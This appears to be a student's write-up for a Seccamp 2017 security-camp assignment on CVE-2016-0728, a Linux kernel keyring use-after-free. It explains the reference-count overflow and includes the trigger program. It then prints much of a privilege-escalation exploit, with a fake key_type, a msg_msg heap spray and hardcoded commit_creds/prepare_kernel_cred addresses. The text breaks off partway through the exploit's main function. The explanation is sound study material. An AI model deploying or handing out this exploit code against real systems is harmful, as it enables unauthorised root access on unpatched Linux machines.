
Educational Linux kernel exploit for CVE-2016-0728 (use-after-free in key retention service) with detailed analysis, PoC code, and mitigation discussion for privilege escalation.
Seccamp 2017 Assignment
The following program exploits a vulnerability present in the Linux kernel versions 3.8 to 4.4. Explain the malfunction that occurs when this program is executed. Also, write an exploit that achieves root privilege escalation by further exploiting this vulnerability, and describe the operating environment you tested, the points you worked on, etc. Additionally, list as many mitigation techniques as possible that can prevent such an attack, and explain them. It is fine if you do not fully understand everything; write in your own words about the information you have gathered up to the point you understood, the process of your attempts, and what you felt. Also, if there are any websites or references you used, clearly state those sources.
#include <stddef.h>
#include <stdio.h>
#include <sys/types.h>
#include <keyutils.h>
int main(int argc, const char *argv[])
{
int i = 0;
key_serial_t serial;
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");
if (serial < 0) {
perror("keyctl");
return -1;
}
if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL) < 0) {
perror("keyctl");
return -1;
}
for (i = 0; i < 100; i++) {
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");
if (serial < 0) {
perror("keyctl");
return -1;
}
}
return 0;
}
The verification environment is as follows.
$ uname -r
3.19.0-80-generic
$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 14.04.5 LTS
Release: 14.04
Codename: trusty
I learned about this vulnerability for the first time. Here I describe what I found through my research, and what I tried during that process. First, I will explain the key retention service used in this program, then the Use-After-Free vulnerability exploited by this program, what causes it in the program, and what kind of malfunction results. This vulnerability is registered as CVE-2016-0728, and I referred to the following website for an overview.
Also, I was unfamiliar with the Linux key retention service, so I referred to IBM's introduction to Linux key retention service web page:
https://www.ibm.com/developerworks/jp/linux/library/l-key-retention.html
and the source code of Linux kernel 3.19 (the verification environment):
For sending kernel messages to the host OS via network, I referred to: DEBUG HACKS - Techniques & Tools for Extreme Debugging (O'REILLY)
This program (hereafter called leak.c) exploits a bug in the Linux key retention service, and this bug leads to a Use-After-Free vulnerability. A Use-After-Free vulnerability is one where, due to a program inconsistency, a freed heap memory address is referenced, potentially allowing arbitrary code execution. First, I will explain the system call keyctl() used by this program, and describe what bug exists in it.
Each process can create its own session keyring by calling keyctl(KEYCTL_JOIN_SESSION_KEYRING, name). This keyring can be shared between processes by referencing the name. If a process already has a session keyring, this system call replaces the session keyring with a new one. To understand this behavior better, I looked at the join_session_keyring function in the kernel source code at /security/keys/process_keys.c. It is a program like the one below. When replacing the session keyring with a new one, it skips the key_put function. key_put is a function that destroys the reference to the keyring given as an argument. By skipping it, a reference to the new keyring remains, leading to a Use-After-Free vulnerability.
When this keyring is shared between processes, the internal reference count stored in the usage member of the key structure increases. The usage member is of type atomic_t, which is actually defined as a typedef of a struct containing one int variable. Also, since there is no mechanism to prevent overflow of this usage member, by increasing this member repeatedly, it can overflow and become 0. When the usage member becomes 0, the keyring is freed by garbage collection inside the keyring subsystem. By placing another arbitrary kernel module in user space into this freed area, that processing can be executed with kernel privileges.
According to the reference site, when leak.c is compiled with the keyutils library and executed, /proc/keys shows a session keyring called leaked_key registered and referenced 100 times. They verified that leaked-keyring appeared as follows before and after running the program.
# Before execution
$ cat /proc/keys
$ ./leak
# After execution
$ cat /proc/keys
0fd435e9 I--Q--- 100 perm 3f3f0000 1000 1000 keyring leaked-keyring: empty
However, in the verification environment, leaked-keyring did not appear. As a test, I changed the for loop condition to a large number like i < 0x1000000, and then leaked-keyring appeared during program execution. The attack succeeds by overflowing the usage member to free the key, then placing a new kernel object there. So I decided to actually try it. I referred to the following site for the exploit code:
https://gist.github.com/PerceptionPointTeam/18b1e86d1c0f8531ff8f
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <keyutils.h>
#include <unistd.h>
#include <time.h>
#include <unistd.h>
#include <sys/ipc.h>
#include <sys/msg.h>
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
#define STRUCT_LEN (0xb8 - 0x30)
#define COMMIT_CREDS_ADDR (0xffffffff81091cc0)
#define PREPARE_KERNEL_CREDS_ADDR (0xffffffff81091fc0)
struct key_type {
char * name;
size_t datalen;
void * vet_description;
void * preparse;
void * free_preparse;
void * instantiate;
void * update;
void * match_preparse;
void * match_free;
void * revoke;
void * destroy;
};
void userspace_revoke(void * key) {
commit_creds(prepare_kernel_cred(0));
}
int main(int argc, const char *argv[]) {
const char *keyring_name;
size_t i = 0;
unsigned long int l = 0x100000000/2;
key_serial_t serial = -1;
pid_t pid = -1;
struct key_type * my_key_type = NULL;
struct { long mtype;
char mtext[STRUCT_LEN];
} msg = {0x4141414141414141, {0}};
int msqid;
if (argc != 2) {
puts("usage: ./keys <key_name>");
return 1;
}
printf("uid=%d, euid=%d\n", getuid(), geteuid());
commit_creds = (_commit_creds) COMMIT_CREDS_ADDR;
prepare_kernel_cred = (_prepare_kernel_cred) PREPARE_KERNEL_CREDS_ADDR;
my_key_type = malloc(sizeof(*my_key_type));
my_key_type->revoke = (void*)userspace_revoke;
memset(msg.mtext, 'A', sizeof(msg.mtext));
// key->uid
*(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
//key->perm
*(int*)(&msg.mtext[64]) = 0x3f3f3f3f;
//key->type
*(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
perror("msgget");
exit(1);
}
keyring_name = argv[1];
/* Set the new session keyring before we start */
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
if (serial < 0) {
perror("keyctl");
return -1;
}
if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
perror("keyctl");
return -1;
}